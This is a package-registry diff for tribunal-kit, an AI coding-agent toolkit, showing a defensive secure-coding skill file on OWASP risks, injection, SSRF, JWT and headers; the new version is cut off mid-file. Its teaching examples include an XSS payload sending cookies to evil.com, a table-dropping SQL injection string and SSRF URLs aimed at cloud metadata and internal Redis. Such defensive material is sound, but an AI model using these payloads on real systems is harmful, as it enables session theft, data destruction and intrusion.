tribunal-kit 4.5.1 → 4.6.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (214) hide show
  1. package/.agent/.shared/ui-ux-pro-max/README.md +4 -4
  2. package/.agent/ARCHITECTURE.md +282 -277
  3. package/.agent/agents/accessibility-reviewer.md +187 -187
  4. package/.agent/agents/ai-code-reviewer.md +199 -199
  5. package/.agent/agents/api-architect.md +71 -66
  6. package/.agent/agents/backend-specialist.md +219 -215
  7. package/.agent/agents/cloud-engineer.md +98 -0
  8. package/.agent/agents/code-archaeologist.md +168 -161
  9. package/.agent/agents/database-architect.md +184 -184
  10. package/.agent/agents/db-latency-auditor.md +213 -216
  11. package/.agent/agents/debugger.md +198 -191
  12. package/.agent/agents/dependency-reviewer.md +106 -103
  13. package/.agent/agents/devops-engineer.md +218 -218
  14. package/.agent/agents/documentation-writer.md +209 -201
  15. package/.agent/agents/explorer-agent.md +167 -160
  16. package/.agent/agents/frontend-reviewer.md +162 -160
  17. package/.agent/agents/frontend-specialist.md +257 -248
  18. package/.agent/agents/game-developer.md +48 -48
  19. package/.agent/agents/logic-reviewer.md +118 -116
  20. package/.agent/agents/mobile-developer.md +197 -200
  21. package/.agent/agents/mobile-reviewer.md +159 -162
  22. package/.agent/agents/orchestrator.md +187 -181
  23. package/.agent/agents/penetration-tester.md +160 -157
  24. package/.agent/agents/performance-optimizer.md +183 -183
  25. package/.agent/agents/performance-reviewer.md +178 -178
  26. package/.agent/agents/precedence-reviewer.md +251 -250
  27. package/.agent/agents/product-manager.md +149 -142
  28. package/.agent/agents/product-owner.md +81 -80
  29. package/.agent/agents/project-planner.md +152 -142
  30. package/.agent/agents/qa-automation-engineer.md +216 -225
  31. package/.agent/agents/resilience-reviewer.md +88 -88
  32. package/.agent/agents/schema-reviewer.md +67 -67
  33. package/.agent/agents/security-auditor.md +180 -174
  34. package/.agent/agents/seo-specialist.md +188 -193
  35. package/.agent/agents/sql-reviewer.md +159 -161
  36. package/.agent/agents/supervisor-agent.md +173 -184
  37. package/.agent/agents/swarm-worker-contracts.md +170 -166
  38. package/.agent/agents/swarm-worker-registry.md +92 -92
  39. package/.agent/agents/system-architect.md +85 -0
  40. package/.agent/agents/test-coverage-reviewer.md +158 -160
  41. package/.agent/agents/test-engineer.md +118 -118
  42. package/.agent/agents/throughput-optimizer.md +291 -299
  43. package/.agent/agents/type-safety-reviewer.md +182 -175
  44. package/.agent/agents/ui-ux-auditor.md +300 -292
  45. package/.agent/agents/vitals-reviewer.md +223 -223
  46. package/.agent/mcp_config.json +37 -40
  47. package/.agent/patterns/generator.md +11 -9
  48. package/.agent/patterns/inversion.md +14 -12
  49. package/.agent/patterns/pipeline.md +11 -9
  50. package/.agent/patterns/reviewer.md +15 -13
  51. package/.agent/patterns/tool-wrapper.md +11 -9
  52. package/.agent/routing_index.json +714 -0
  53. package/.agent/rules/GEMINI.md +359 -352
  54. package/.agent/scripts/compile_router.py +112 -0
  55. package/.agent/scripts/migrate_skills_frontmatter.py +64 -0
  56. package/.agent/scripts/strengthen_skills.js +1 -1
  57. package/.agent/skills/advanced-rag-pipelines/SKILL.md +56 -0
  58. package/.agent/skills/agent-organizer/SKILL.md +156 -150
  59. package/.agent/skills/agentic-patterns/SKILL.md +313 -315
  60. package/.agent/skills/ai-prompt-injection-defense/SKILL.md +190 -184
  61. package/.agent/skills/api-patterns/SKILL.md +253 -247
  62. package/.agent/skills/api-security-auditor/SKILL.md +195 -193
  63. package/.agent/skills/app-builder/SKILL.md +573 -572
  64. package/.agent/skills/app-builder/templates/SKILL.md +108 -115
  65. package/.agent/skills/app-builder/templates/astro-static/TEMPLATE.md +76 -76
  66. package/.agent/skills/app-builder/templates/chrome-extension/TEMPLATE.md +92 -92
  67. package/.agent/skills/app-builder/templates/cli-tool/TEMPLATE.md +88 -88
  68. package/.agent/skills/app-builder/templates/electron-desktop/TEMPLATE.md +88 -88
  69. package/.agent/skills/app-builder/templates/express-api/TEMPLATE.md +83 -83
  70. package/.agent/skills/app-builder/templates/flutter-app/TEMPLATE.md +90 -90
  71. package/.agent/skills/app-builder/templates/monorepo-turborepo/TEMPLATE.md +90 -90
  72. package/.agent/skills/app-builder/templates/nextjs-fullstack/TEMPLATE.md +126 -122
  73. package/.agent/skills/app-builder/templates/nextjs-saas/TEMPLATE.md +127 -122
  74. package/.agent/skills/app-builder/templates/nextjs-static/TEMPLATE.md +172 -169
  75. package/.agent/skills/app-builder/templates/nuxt-app/TEMPLATE.md +139 -134
  76. package/.agent/skills/app-builder/templates/python-fastapi/TEMPLATE.md +83 -83
  77. package/.agent/skills/app-builder/templates/react-native-app/TEMPLATE.md +122 -119
  78. package/.agent/skills/appflow-wireframe/SKILL.md +146 -145
  79. package/.agent/skills/architecture/SKILL.md +226 -219
  80. package/.agent/skills/authentication-best-practices/SKILL.md +197 -189
  81. package/.agent/skills/backend-security-expert/SKILL.md +16 -2
  82. package/.agent/skills/bash-linux/SKILL.md +179 -179
  83. package/.agent/skills/behavioral-modes/SKILL.md +239 -223
  84. package/.agent/skills/brainstorming/SKILL.md +498 -486
  85. package/.agent/skills/browser-native-ai/SKILL.md +57 -4
  86. package/.agent/skills/building-native-ui/SKILL.md +202 -202
  87. package/.agent/skills/cicd-pro/SKILL.md +442 -0
  88. package/.agent/skills/clean-code/SKILL.md +400 -381
  89. package/.agent/skills/cloud-architect/SKILL.md +439 -0
  90. package/.agent/skills/code-review-checklist/SKILL.md +203 -194
  91. package/.agent/skills/config-validator/SKILL.md +165 -165
  92. package/.agent/skills/containerization-pro/SKILL.md +452 -0
  93. package/.agent/skills/csharp-developer/SKILL.md +518 -518
  94. package/.agent/skills/data-validation-schemas/SKILL.md +333 -328
  95. package/.agent/skills/database-design/SKILL.md +247 -240
  96. package/.agent/skills/deployment-procedures/SKILL.md +172 -169
  97. package/.agent/skills/devops-engineer/SKILL.md +345 -345
  98. package/.agent/skills/devops-incident-responder/SKILL.md +143 -137
  99. package/.agent/skills/documentation-templates/SKILL.md +291 -279
  100. package/.agent/skills/edge-computing/SKILL.md +183 -181
  101. package/.agent/skills/emil-design-eng/SKILL.md +147 -0
  102. package/.agent/skills/error-resilience/SKILL.md +411 -428
  103. package/.agent/skills/extract-design-system/SKILL.md +160 -158
  104. package/.agent/skills/framer-motion-expert/SKILL.md +253 -244
  105. package/.agent/skills/frontend-design/SKILL.md +208 -201
  106. package/.agent/skills/frontend-security-expert/SKILL.md +16 -3
  107. package/.agent/skills/game-design-expert/SKILL.md +132 -129
  108. package/.agent/skills/game-engineering-expert/SKILL.md +148 -146
  109. package/.agent/skills/generative-ui-expert/SKILL.md +57 -1
  110. package/.agent/skills/geo-fundamentals/SKILL.md +148 -147
  111. package/.agent/skills/git-pro/SKILL.md +435 -0
  112. package/.agent/skills/github-operations/SKILL.md +335 -329
  113. package/.agent/skills/gsap-core/SKILL.md +319 -308
  114. package/.agent/skills/gsap-frameworks/SKILL.md +213 -207
  115. package/.agent/skills/gsap-performance/SKILL.md +139 -133
  116. package/.agent/skills/gsap-plugins/SKILL.md +486 -480
  117. package/.agent/skills/gsap-react/SKILL.md +202 -189
  118. package/.agent/skills/gsap-scrolltrigger/SKILL.md +357 -350
  119. package/.agent/skills/gsap-timeline/SKILL.md +165 -161
  120. package/.agent/skills/gsap-utils/SKILL.md +344 -338
  121. package/.agent/skills/harness-protocol/SKILL.md +48 -0
  122. package/.agent/skills/i18n-localization/SKILL.md +174 -163
  123. package/.agent/skills/intelligent-routing/SKILL.md +202 -246
  124. package/.agent/skills/knowledge-graph/SKILL.md +60 -52
  125. package/.agent/skills/lint-and-validate/SKILL.md +261 -261
  126. package/.agent/skills/llm-engineering/SKILL.md +400 -394
  127. package/.agent/skills/local-first/SKILL.md +178 -178
  128. package/.agent/skills/mcp-builder/SKILL.md +143 -142
  129. package/.agent/skills/mobile-design/SKILL.md +272 -263
  130. package/.agent/skills/monorepo-management/SKILL.md +335 -334
  131. package/.agent/skills/motion-engineering/SKILL.md +266 -234
  132. package/.agent/skills/nextjs-react-expert/SKILL.md +236 -234
  133. package/.agent/skills/nodejs-best-practices/SKILL.md +547 -548
  134. package/.agent/skills/observability/SKILL.md +343 -343
  135. package/.agent/skills/parallel-agents/SKILL.md +143 -146
  136. package/.agent/skills/performance-profiling/SKILL.md +259 -267
  137. package/.agent/skills/plan-writing/SKILL.md +150 -142
  138. package/.agent/skills/platform-engineer/SKILL.md +148 -147
  139. package/.agent/skills/playwright-best-practices/SKILL.md +188 -187
  140. package/.agent/skills/powershell-windows/SKILL.md +162 -162
  141. package/.agent/skills/project-idioms/SKILL.md +137 -137
  142. package/.agent/skills/python-patterns/SKILL.md +260 -259
  143. package/.agent/skills/python-pro/SKILL.md +324 -323
  144. package/.agent/skills/react-specialist/SKILL.md +305 -277
  145. package/.agent/skills/readme-builder/SKILL.md +310 -300
  146. package/.agent/skills/realtime-patterns/SKILL.md +323 -319
  147. package/.agent/skills/red-team-tactics/SKILL.md +231 -218
  148. package/.agent/skills/review-animations/SKILL.md +72 -0
  149. package/.agent/skills/review-animations/STANDARDS.md +73 -0
  150. package/.agent/skills/rust-pro/SKILL.md +671 -673
  151. package/.agent/skills/seo-fundamentals/SKILL.md +179 -179
  152. package/.agent/skills/server-management/SKILL.md +218 -214
  153. package/.agent/skills/shadcn-ui-expert/SKILL.md +231 -231
  154. package/.agent/skills/skill-creator/SKILL.md +87 -86
  155. package/.agent/skills/sql-pro/SKILL.md +629 -629
  156. package/.agent/skills/supabase-postgres-best-practices/SKILL.md +97 -97
  157. package/.agent/skills/swiftui-expert/SKILL.md +204 -201
  158. package/.agent/skills/system-design-pro/SKILL.md +345 -0
  159. package/.agent/skills/systematic-debugging/SKILL.md +153 -142
  160. package/.agent/skills/tailwind-patterns/SKILL.md +610 -566
  161. package/.agent/skills/tdd-workflow/SKILL.md +169 -161
  162. package/.agent/skills/test-result-analyzer/SKILL.md +313 -309
  163. package/.agent/skills/testing-patterns/SKILL.md +566 -579
  164. package/.agent/skills/trend-researcher/SKILL.md +243 -237
  165. package/.agent/skills/typescript-advanced/SKILL.md +336 -335
  166. package/.agent/skills/ui-ux-pro-max/SKILL.md +590 -562
  167. package/.agent/skills/ui-ux-researcher/SKILL.md +244 -244
  168. package/.agent/skills/vue-expert/SKILL.md +294 -275
  169. package/.agent/skills/vulnerability-scanner/SKILL.md +416 -404
  170. package/.agent/skills/web-accessibility-auditor/SKILL.md +219 -218
  171. package/.agent/skills/web-design-guidelines/SKILL.md +192 -186
  172. package/.agent/skills/webapp-testing/SKILL.md +167 -169
  173. package/.agent/skills/webgpu-performance/SKILL.md +56 -2
  174. package/.agent/skills/whimsy-injector/SKILL.md +346 -325
  175. package/.agent/skills/workflow-optimizer/SKILL.md +231 -229
  176. package/.agent/workflows/acf.md +141 -0
  177. package/.agent/workflows/api-tester.md +176 -151
  178. package/.agent/workflows/audit.md +150 -127
  179. package/.agent/workflows/brainstorm.md +134 -110
  180. package/.agent/workflows/changelog.md +140 -112
  181. package/.agent/workflows/create.md +168 -124
  182. package/.agent/workflows/debug.md +190 -165
  183. package/.agent/workflows/deploy.md +201 -180
  184. package/.agent/workflows/enhance.md +154 -128
  185. package/.agent/workflows/fix.md +136 -114
  186. package/.agent/workflows/generate.md +198 -183
  187. package/.agent/workflows/marathon.md +37 -11
  188. package/.agent/workflows/migrate.md +184 -160
  189. package/.agent/workflows/orchestrate.md +192 -168
  190. package/.agent/workflows/performance-benchmarker.md +135 -114
  191. package/.agent/workflows/plan.md +196 -173
  192. package/.agent/workflows/preview.md +103 -80
  193. package/.agent/workflows/refactor.md +192 -161
  194. package/.agent/workflows/review-ai.md +125 -101
  195. package/.agent/workflows/review.md +141 -116
  196. package/.agent/workflows/session.md +122 -94
  197. package/.agent/workflows/status.md +101 -79
  198. package/.agent/workflows/strengthen-skills.md +164 -138
  199. package/.agent/workflows/super-prompt.md +24 -0
  200. package/.agent/workflows/swarm.md +193 -179
  201. package/.agent/workflows/test.md +211 -189
  202. package/.agent/workflows/tribunal-backend.md +136 -105
  203. package/.agent/workflows/tribunal-database.md +129 -95
  204. package/.agent/workflows/tribunal-frontend.md +140 -96
  205. package/.agent/workflows/tribunal-full.md +131 -100
  206. package/.agent/workflows/tribunal-mobile.md +129 -95
  207. package/.agent/workflows/tribunal-performance.md +136 -110
  208. package/.agent/workflows/tribunal-speed.md +209 -183
  209. package/.agent/workflows/ui-ux-pro-max.md +155 -122
  210. package/README.md +107 -55
  211. package/mcp_config.json +1 -3
  212. package/package.json +94 -94
  213. package/.agent/GEMINI.md +0 -121
  214. package/.agent/skills/doc.md +0 -177
@@ -1,408 +1,418 @@
1
- ---
2
- name: vulnerability-scanner
3
- description: Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.
4
- allowed-tools: Read, Write, Edit, Glob, Grep
5
- version: 3.1.0
6
- last-updated: 2026-04-06
7
- applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
8
- ---
9
-
10
- # Vulnerability Scanner — Security Analysis Mastery
11
-
12
- ---
13
-
14
- ## OWASP Top 10 (2025)
15
-
16
- ```
17
- A01 Broken Access Control → Missing authorization checks
18
- A02 Cryptographic Failures → Weak encryption, exposed secrets
19
- A03 Injection → SQL, XSS, command, LDAP
20
- A04 Insecure Design → Missing threat modeling
21
- A05 Security Misconfiguration → Default credentials, verbose errors
22
- A06 Vulnerable Components → Outdated dependencies
23
- A07 Authentication Failures → Weak passwords, missing MFA
24
- A08 Data Integrity Failures → Untrusted deserialization, missing SRI
25
- A09 Logging & Monitoring Failures → No audit trail, alert blindness
26
- A10 SSRF → Server-side request forgery
27
- ```
28
-
29
- ---
30
-
31
- ## Injection Attacks
32
-
33
- ### SQL Injection
34
-
35
- ```typescript
36
- // ❌ VULNERABLE: String interpolation in SQL
37
- const query = `SELECT * FROM users WHERE email = '${email}'`;
38
- // Attack: email = "'; DROP TABLE users; --"
39
-
40
- // ✅ SAFE: Parameterized queries
41
- const result = await db.query("SELECT * FROM users WHERE email = $1", [email]);
42
-
43
- // ✅ SAFE: ORM (Prisma, Drizzle)
44
- const user = await prisma.user.findUnique({ where: { email } });
45
-
46
- // ❌ HALLUCINATION TRAP: Template literals are NOT parameterized
47
- // ❌ db.query(`SELECT * FROM users WHERE id = ${id}`); ← VULNERABLE
48
- // ✅ db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
49
- ```
50
-
51
- ### XSS (Cross-Site Scripting)
52
-
53
- ```typescript
54
- // ❌ VULNERABLE: innerHTML with user input
55
- element.innerHTML = userComment;
56
- // Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"
57
-
58
- // ✅ SAFE: textContent (no HTML parsing)
59
- element.textContent = userComment;
60
-
61
- // React auto-escapes by default — BUT:
62
- // ❌ VULNERABLE in React:
63
- <div dangerouslySetInnerHTML={{ __html: userInput }} /> // bypasses escaping
64
-
65
- // ✅ SAFE in React:
66
- <div>{userInput}</div> // auto-escaped
67
-
68
- // Content Security Policy (defense in depth)
69
- // Add HTTP header:
70
- // Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
71
- ```
72
-
73
- ### SSRF (Server-Side Request Forgery)
74
-
75
- ```typescript
76
- // ❌ VULNERABLE: fetching user-provided URLs
77
- app.get("/proxy", async (req, res) => {
78
- const data = await fetch(req.query.url).then(r => r.text());
79
- res.send(data);
80
- });
81
- // Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
82
- // Attack: url = "http://localhost:6379/" (internal Redis)
83
-
84
- // ✅ SAFE: Allowlist of domains
85
- const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
86
-
87
- app.get("/proxy", async (req, res) => {
88
- const url = new URL(req.query.url as string);
89
- if (!ALLOWED_HOSTS.has(url.hostname)) {
90
- return res.status(403).json({ error: "Domain not allowed" });
91
- }
92
- // Additional: block private IP ranges
93
- const ip = await dns.resolve4(url.hostname);
94
- if (isPrivateIP(ip[0])) {
95
- return res.status(403).json({ error: "Private IP not allowed" });
96
- }
97
- const data = await fetch(url).then(r => r.text());
98
- res.send(data);
99
- });
100
- ```
101
-
102
- ---
103
-
104
- ## Authentication & Authorization
105
-
106
- ```typescript
107
- // JWT Best Practices
108
- import jwt from "jsonwebtoken";
109
-
110
- // ✅ SAFE: Specify algorithm explicitly
111
- const token = jwt.sign(payload, SECRET, {
112
- algorithm: "HS256", // explicit
113
- expiresIn: "15m", // short-lived access token
114
- issuer: "myapp",
115
- });
116
-
117
- // ✅ SAFE: Verify with explicit algorithms
118
- const decoded = jwt.verify(token, SECRET, {
119
- algorithms: ["HS256"], // MUST specify — prevents algorithm confusion attack
120
- issuer: "myapp",
121
- });
122
-
123
- // ❌ HALLUCINATION TRAP: jwt.verify() without algorithms option is VULNERABLE
124
- // ❌ jwt.verify(token, SECRET); ← accepts ANY algorithm including "none"
125
- // ✅ jwt.verify(token, SECRET, { algorithms: ["HS256"] });
126
-
127
- // Authorization: check BEFORE business logic
128
- app.delete("/api/posts/:id", async (req, res) => {
129
- const post = await getPost(req.params.id);
130
- if (!post) return res.status(404).json({ error: "Not found" });
131
-
132
- // ✅ Authorization check BEFORE delete
133
- if (post.authorId !== req.user.id && req.user.role !== "admin") {
134
- return res.status(403).json({ error: "Forbidden" });
135
- }
136
-
137
- await deletePost(post.id);
138
- res.status(204).send();
139
- });
140
- ```
141
-
142
- ---
143
-
144
- ## Dependency Security
145
-
146
- ```bash
147
- # Check for known vulnerabilities
148
- npm audit # built-in
149
- npx snyk test # Snyk (more comprehensive)
150
- npx socket check # Socket.dev (supply chain)
151
-
152
- # Auto-fix
153
- npm audit fix
154
-
155
- # lock file integrity
156
- # ✅ Commit package-lock.json / pnpm-lock.yaml
157
- # ✅ Use npm ci in CI (not npm install)
158
- # ✅ Pin exact versions for critical dependencies
159
- # ✅ Enable Dependabot or Renovate for auto-updates
160
- ```
161
-
162
- ```
163
- Supply chain attack vectors:
164
- 1. Typosquatting → "recat" instead of "react"
165
- 2. Maintainer hijack → compromised npm account
166
- 3. Dependency confusion → private package name exists on public registry
167
- 4. Malicious postinstall → runs arbitrary code on npm install
168
- 5. Abandoned packages → unmaintained, no security patches
169
-
170
- Defense:
171
- - Review new dependencies before adding
172
- - Use npm audit in CI (fail on high severity)
173
- - Pin versions, review lockfile diffs
174
- - Use --ignore-scripts for untrusted packages
175
- ```
176
-
177
- ---
178
-
179
- ## Security Headers
180
-
181
- ```typescript
182
- import helmet from "helmet";
183
-
184
- app.use(helmet()); // Sets secure defaults
185
-
186
- // Key headers set by helmet:
187
- // Content-Security-Policy → Controls resource loading
188
- // X-Content-Type-Options → Prevents MIME sniffing (nosniff)
189
- // X-Frame-Options → Prevents clickjacking (DENY)
190
- // Strict-Transport-Security → Forces HTTPS (HSTS)
191
- // X-XSS-Protection → Legacy XSS filter (deprecated, CSP is better)
192
- // Referrer-Policy → Controls referrer header
193
-
194
- // CORS — never wildcard in production
195
- app.use(cors({
196
- origin: ["https://myapp.com", "https://admin.myapp.com"],
197
- methods: ["GET", "POST", "PUT", "DELETE"],
198
- credentials: true,
199
- }));
200
-
201
- // ❌ HALLUCINATION TRAP: origin: "*" disables CORS protection entirely
202
- // ❌ cors({ origin: "*" }) ← allows any website to call your API
203
- // ✅ cors({ origin: ["https://myapp.com"] }) ← whitelist specific domains
204
- ```
205
-
206
- ---
207
-
208
- ## Secret Scanning
209
-
210
- ```
211
- Secrets that MUST be in environment variables:
212
- - Database connection strings
213
- - API keys (Stripe, SendGrid, etc.)
214
- - JWT signing secrets
215
- - OAuth client secrets
216
- - Encryption keys
217
-
218
- Detection tools:
219
- - git-secrets (pre-commit hook)
220
- - TruffleHog / detect-secrets (scan history)
221
- - GitHub secret scanning (automatic)
222
- - GitGuardian (enterprise)
223
-
224
- If a secret is committed:
225
- 1. IMMEDIATELY rotate the secret (new key/password)
226
- 2. Remove from git history (BFG Repo-Cleaner or git-filter-repo)
227
- 3. Force-push cleaned history
228
- 4. Audit access logs for the compromised secret
229
- 5. Post-incident review
230
- ```
231
-
232
- ---
233
-
234
- ---
235
-
236
- ## Security Checklists
237
-
238
- ---
239
-
240
- ### OWASP Top 10 Audit Checklist
241
-
242
- #### A01: Broken Access Control
243
- - [ ] Authorization on all protected routes
244
- - [ ] Deny by default
245
- - [ ] Rate limiting implemented
246
- - [ ] CORS properly configured
247
-
248
- #### A02: Cryptographic Failures
249
- - [ ] Passwords hashed (bcrypt/argon2, cost 12+)
250
- - [ ] Sensitive data encrypted at rest
251
- - [ ] TLS 1.2+ for all connections
252
- - [ ] No secrets in code/logs
253
-
254
- #### A03: Injection
255
- - [ ] Parameterized queries
256
- - [ ] Input validation on all user data
257
- - [ ] Output encoding for XSS
258
- - [ ] No eval() or dynamic code execution
259
-
260
- #### A04: Insecure Design
261
- - [ ] Threat modeling done
262
- - [ ] Security requirements defined
263
- - [ ] Business logic validated
264
-
265
- #### A05: Security Misconfiguration
266
- - [ ] Unnecessary features disabled
267
- - [ ] Error messages sanitized
268
- - [ ] Security headers configured
269
- - [ ] Default credentials changed
270
-
271
- #### A06: Vulnerable Components
272
- - [ ] Dependencies up to date
273
- - [ ] No known vulnerabilities
274
- - [ ] Unused dependencies removed
275
-
276
- #### A07: Authentication Failures
277
- - [ ] MFA available
278
- - [ ] Session invalidation on logout
279
- - [ ] Session timeout implemented
280
- - [ ] Brute force protection
281
-
282
- #### A08: Integrity Failures
283
- - [ ] Dependency integrity verified
284
- - [ ] CI/CD pipeline secured
285
- - [ ] Update mechanism secured
286
-
287
- #### A09: Logging Failures
288
- - [ ] Security events logged
289
- - [ ] Logs protected
290
- - [ ] No sensitive data in logs
291
- - [ ] Alerting configured
292
-
293
- #### A10: SSRF
294
- - [ ] URL validation implemented
295
- - [ ] Allow-list for external calls
296
- - [ ] Network segmentation
297
-
298
- ---
299
-
300
- ### Authentication Checklist
301
-
302
- - [ ] Strong password policy
303
- - [ ] Account lockout
304
- - [ ] Secure password reset
305
- - [ ] Session management
306
- - [ ] Token expiration
307
- - [ ] Logout invalidation
308
-
309
- ---
310
-
311
- ### API Security Checklist
312
-
313
- - [ ] Authentication required
314
- - [ ] Authorization per endpoint
315
- - [ ] Input validation
316
- - [ ] Rate limiting
317
- - [ ] Output sanitization
318
- - [ ] Error handling
319
-
320
- ---
321
-
322
- ### Data Protection Checklist
323
-
324
- - [ ] Encryption at rest
325
- - [ ] Encryption in transit
326
- - [ ] Key management
327
- - [ ] Data minimization
328
- - [ ] Secure deletion
329
-
330
- ---
331
-
332
- ### Security Headers
333
-
334
- |Header|Purpose|
335
- |--------|---------|
336
- |**Content-Security-Policy**|XSS prevention|
337
- |**X-Content-Type-Options**|MIME sniffing|
338
- |**X-Frame-Options**|Clickjacking|
339
- |**Strict-Transport-Security**|Force HTTPS|
340
- |**Referrer-Policy**|Referrer control|
341
-
342
- ---
343
-
344
- ### Quick Audit Commands
345
-
346
- |Check|What to Look For|
347
- |-------|------------------|
348
- |Secrets in code|password, api_key, secret|
349
- |Dangerous patterns|eval, innerHTML, SQL concat|
350
- |Dependency issues|npm audit, snyk|
351
-
352
- ---
353
-
354
- **Usage:** Copy relevant checklists into your PLAN.md or security report.
355
-
356
-
357
- ---
358
-
359
-
360
-
361
- AI coding assistants often fall into specific bad habits when dealing with this domain. These are strictly forbidden:
362
-
363
- 1. **Over-engineering:** Proposing complex abstractions or distributed systems when a simpler approach suffices.
364
- 2. **Hallucinated Libraries/Methods:** Using non-existent methods or packages. Always `// VERIFY` or check `package.json` / `requirements.txt`.
365
- 3. **Skipping Edge Cases:** Writing the "happy path" and ignoring error handling, timeouts, or data validation.
366
- 4. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
367
- 5. **Silent Degradation:** Catching and suppressing errors without logging or re-raising.
368
-
369
- ---
370
-
371
-
372
-
373
- **Slash command: `/review` or `/tribunal-full`**
374
- **Active reviewers: `logic-reviewer` · `security-auditor`**
375
-
376
- ### ❌ Forbidden AI Tropes
377
-
378
- 1. **Blind Assumptions:** Never make an assumption without documenting it clearly with `// VERIFY: [reason]`.
379
- 2. **Silent Degradation:** Catching and suppressing errors without logging or handling.
380
- 3. **Context Amnesia:** Forgetting the user's constraints and offering generic advice instead of tailored solutions.
381
-
382
-
383
-
384
- Review these questions before confirming output:
385
- ```
386
- ✅ Did I rely ONLY on real, verified tools and methods?
387
- ✅ Is this solution appropriately scoped to the user's constraints?
388
- ✅ Did I handle potential failure modes and edge cases?
389
- ✅ Have I avoided generic boilerplate that doesn't add value?
390
- ```
391
-
392
- ### 🛑 Verification-Before-Completion (VBC) Protocol
393
-
394
- **CRITICAL:** You must follow a strict "evidence-based closeout" state machine.
395
- - ❌ **Forbidden:** Declaring a task complete because the output "looks correct."
396
- - ✅ **Required:** You are explicitly forbidden from finalizing any task without providing **concrete evidence** (terminal output, passing tests, compile success, or equivalent proof) that your output works as intended.
397
-
398
-
399
- ## Pre-Flight Checklist
400
- - [ ] Have I reviewed the user's specific constraints and requests?
401
- - [ ] Have I checked the environment for relevant existing implementations?
402
-
403
- ## VBC Protocol (Verification-Before-Completion)
404
- You MUST verify existing code signatures and variables before attempting to modify or call them. No hallucination is permitted.
1
+ ---
2
+ name: vulnerability-scanner
3
+ description: Security vulnerability analysis mastery. OWASP Top 10 (2025), injection attacks (SQL, XSS, SSRF, command), authentication/authorization flaws, dependency vulnerabilities, secret scanning, CORS misconfiguration, supply chain attacks, and security headers. Use when auditing security, reviewing code for vulnerabilities, or hardening applications.
4
+ allowed-tools: Read, Write, Edit, Glob, Grep
5
+ version: 3.1.0
6
+ last-updated: 2026-04-06
7
+ applies-to-model: gemini-2.5-pro, claude-3-7-sonnet
8
+ routing:
9
+ domain: general
10
+ tier: basic
11
+ ---
12
+
13
+ # Vulnerability Scanner — Security Analysis Mastery
14
+
15
+ ---
16
+
17
+ ## OWASP Top 10 (2025)
18
+
19
+ ```
20
+ A01 Broken Access Control → Missing authorization checks
21
+ A02 Cryptographic Failures → Weak encryption, exposed secrets
22
+ A03 Injection → SQL, XSS, command, LDAP
23
+ A04 Insecure Design → Missing threat modeling
24
+ A05 Security Misconfiguration → Default credentials, verbose errors
25
+ A06 Vulnerable Components → Outdated dependencies
26
+ A07 Authentication Failures → Weak passwords, missing MFA
27
+ A08 Data Integrity Failures → Untrusted deserialization, missing SRI
28
+ A09 Logging & Monitoring Failures → No audit trail, alert blindness
29
+ A10 SSRF → Server-side request forgery
30
+ ```
31
+
32
+ ---
33
+
34
+ ## Injection Attacks
35
+
36
+ ### SQL Injection
37
+
38
+ ```typescript
39
+ // ❌ VULNERABLE: String interpolation in SQL
40
+ const query = `SELECT * FROM users WHERE email = '${email}'`;
41
+ // Attack: email = "'; DROP TABLE users; --"
42
+
43
+ // ✅ SAFE: Parameterized queries
44
+ const result = await db.query("SELECT * FROM users WHERE email = $1", [email]);
45
+
46
+ // ✅ SAFE: ORM (Prisma, Drizzle)
47
+ const user = await prisma.user.findUnique({ where: { email } });
48
+
49
+ // ❌ HALLUCINATION TRAP: Template literals are NOT parameterized
50
+ // ❌ db.query(`SELECT * FROM users WHERE id = ${id}`); ← VULNERABLE
51
+ // ✅ db.query("SELECT * FROM users WHERE id = $1", [id]); ← SAFE
52
+ ```
53
+
54
+ ### XSS (Cross-Site Scripting)
55
+
56
+ ```typescript
57
+ // ❌ VULNERABLE: innerHTML with user input
58
+ element.innerHTML = userComment;
59
+ // Attack: userComment = "<script>document.location='https://evil.com?c='+document.cookie</script>"
60
+
61
+ // ✅ SAFE: textContent (no HTML parsing)
62
+ element.textContent = userComment;
63
+
64
+ // React auto-escapes by default — BUT:
65
+ // ❌ VULNERABLE in React:
66
+ <div dangerouslySetInnerHTML={{ __html: userInput }} /> // bypasses escaping
67
+
68
+ // ✅ SAFE in React:
69
+ <div>{userInput}</div> // auto-escaped
70
+
71
+ // Content Security Policy (defense in depth)
72
+ // Add HTTP header:
73
+ // Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
74
+ ```
75
+
76
+ ### SSRF (Server-Side Request Forgery)
77
+
78
+ ```typescript
79
+ // ❌ VULNERABLE: fetching user-provided URLs
80
+ app.get("/proxy", async (req, res) => {
81
+ const data = await fetch(req.query.url).then((r) => r.text());
82
+ res.send(data);
83
+ });
84
+ // Attack: url = "http://169.254.169.254/latest/meta-data/" (AWS metadata)
85
+ // Attack: url = "http://localhost:6379/" (internal Redis)
86
+
87
+ // ✅ SAFE: Allowlist of domains
88
+ const ALLOWED_HOSTS = new Set(["api.example.com", "cdn.example.com"]);
89
+
90
+ app.get("/proxy", async (req, res) => {
91
+ const url = new URL(req.query.url as string);
92
+ if (!ALLOWED_HOSTS.has(url.hostname)) {
93
+ return res.status(403).json({ error: "Domain not allowed" });
94
+ }
95
+ // Additional: block private IP ranges
96
+ const ip = await dns.resolve4(url.hostname);
97
+ if (isPrivateIP(ip[0])) {
98
+ return res.status(403).json({ error: "Private IP not allowed" });
99
+ }
100
+ const data = await fetch(url).then((r) => r.text());
101
+ res.send(data);
102
+ });
103
+ ```
104
+
105
+ ---
106
+
107
+ ## Authentication & Authorization
108
+
109
+ ```typescript
110
+ // JWT Best Practices
111
+ import jwt from "jsonwebtoken";
112
+
113
+ // ✅ SAFE: Specify algorithm explicitly
114
+ const token = jwt.sign(payload, SECRET, {
115
+ algorithm: "HS256", // explicit
116
+ expiresIn: "15m", // short-lived access token
117
